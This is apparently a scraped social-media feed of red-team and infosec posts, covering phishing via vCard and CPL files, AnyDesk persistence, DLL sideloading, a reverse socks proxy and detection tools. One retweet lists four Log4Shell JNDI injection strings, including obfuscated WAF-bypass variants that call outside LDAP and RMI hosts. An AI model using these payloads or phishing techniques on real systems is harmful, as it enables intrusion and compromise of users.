Pathocode

[sn🥶vvcr💥sh @snovvcrash]

[#HackTip ⚒] Looking for a legitimate way of achieving #persistence on Windows? How about #AnyDesk silent deployment? 😉

[RIVER @wugeej]

Apache Log4j2 2.14.1 RCE (CVE-2021-44228)

‼️Bypass WAF

1. ${jndi:ldap://127.0.0.1:1389/ badClassName}

2. ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}

3. ${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}

4. ${jndi:rmi://adsasd.asdasd.asdasd}

[Joe Stocker @ITguySoCal]

(1/2) TL;DR "DLL sideloading attack is the most successful
attack as most EDRs fail to detect, let alone block, it." A scholarly and unbiased examination of how top EDR detects APT threats by @MDPIOpenAccess https://t.co/fotTrMbVjn

[Pathocode @pathocode]

@breakersall VGhvc2UgU2FuZHdvcm1zIDsp

[Pathocode @pathocode]

@vysecurity Hrm moving my servers to hk soon... ;)

[Pathocode @pathocode]

@vysecurity No, but tagging @PythonResponder

[Mr.Un1k0d3r @MrUn1k0d3r]

Procdump alternative that may come handy during #redteam

https://t.co/rknJPuLnbS

There is a C and a C# version that can be used with execute-assembly

❤

[Chetan Nayak (Brute Ratel C4 Author) @NinjaParanoid]

Finally built the proxmark3 portable and wireless. And here it goes:
RpiZeroW + PM3 + PCB with 5volt 1.5 Amp battery support + 2500 mAh Battery which lasts 8 hours @herrmann1001. Not as small as @RfidGroup though #proxmark3
https://t.co/7Uv2OJCeCr

[Pathocode @pathocode]

Abusing #vcard #vcf file for #phishing #redteam #pentest

[Pathocode @pathocode]

#Phishing with malicious #CPL + MS Access - auto prompt the user to execute the payload. Great technique from @424f424f :) #redteam #pentest #cobaltstrike

[CERT SocieteGenerale @CertSG]

We finally published our Outlook addin to notify suspicious mails to security teams.

It's of course linked to SwordPhish to monitor your awareness campaigns.

https://t.co/pn4neHtog5

[[audible]blink @4lex]

HoleySocks, a cross-platform reverse socks proxy, now rewritten as a go package so it can be imported into other projects. Even went and used it an a reverse shell/agent.

#pivot #redteam #golang

https://t.co/VtUGmrLkuo

https://t.co/wnnQ1Jdi4g

[Feross @feross]

Detect pressed keys via microphone audio capture in real-time. Uses training data captured by typing first. Very neat!

https://t.co/fIVbftye7D

Based on ideas in this classic traffic analysis paper: Timing Analysis of Keystrokes and Timing Attacks on SSH https://t.co/9r3gLRZIDg

[Pathocode @pathocode]

@k1LL_sw17ch Yes. https://t.co/p0duGhE9jz

[Pathocode @pathocode]

Not a silver bullet, but it is possible to weaponize #vCard vulnerability with Office Document. PoC. #redteam #phishing #pentest #cobaltstrike

[Pathocode @pathocode]

As a #redteam, we need to be one step ahead of the blue team. Therefore, our #phishing attacks must be more sophisticated in order keep up with the game. Using #vcard, to compromise endpoints. #pentest #cobaltstrike

[Pathocode @pathocode]

Not a silver bullet, but it is possible to weaponize #vCard vulnerability with Office Document. PoC. #redteam #phishing #pentest #cobaltstrike

[Spiros Fraganastasis @m3g9tr0n]

Loading a DLL from memory
https://t.co/VmKruoQpPk

[Will Schroeder @harmj0y]

Active Directory forests are no longer a security boundary thanks to @tifkin_'s printer bug. Check out https://t.co/syzObbXhqt for weaponization and mitigation details and @Cyb3rWard0g's post for detection guidance https://t.co/gCLntMwSI3

[Threatpost @threatpost]

A #Gmail glitch allows a hacker to send anonymous emails.

The trick could be weaponized for #phishing attacks that purport to be official warnings or system messages.

https://t.co/1RRReMYoRX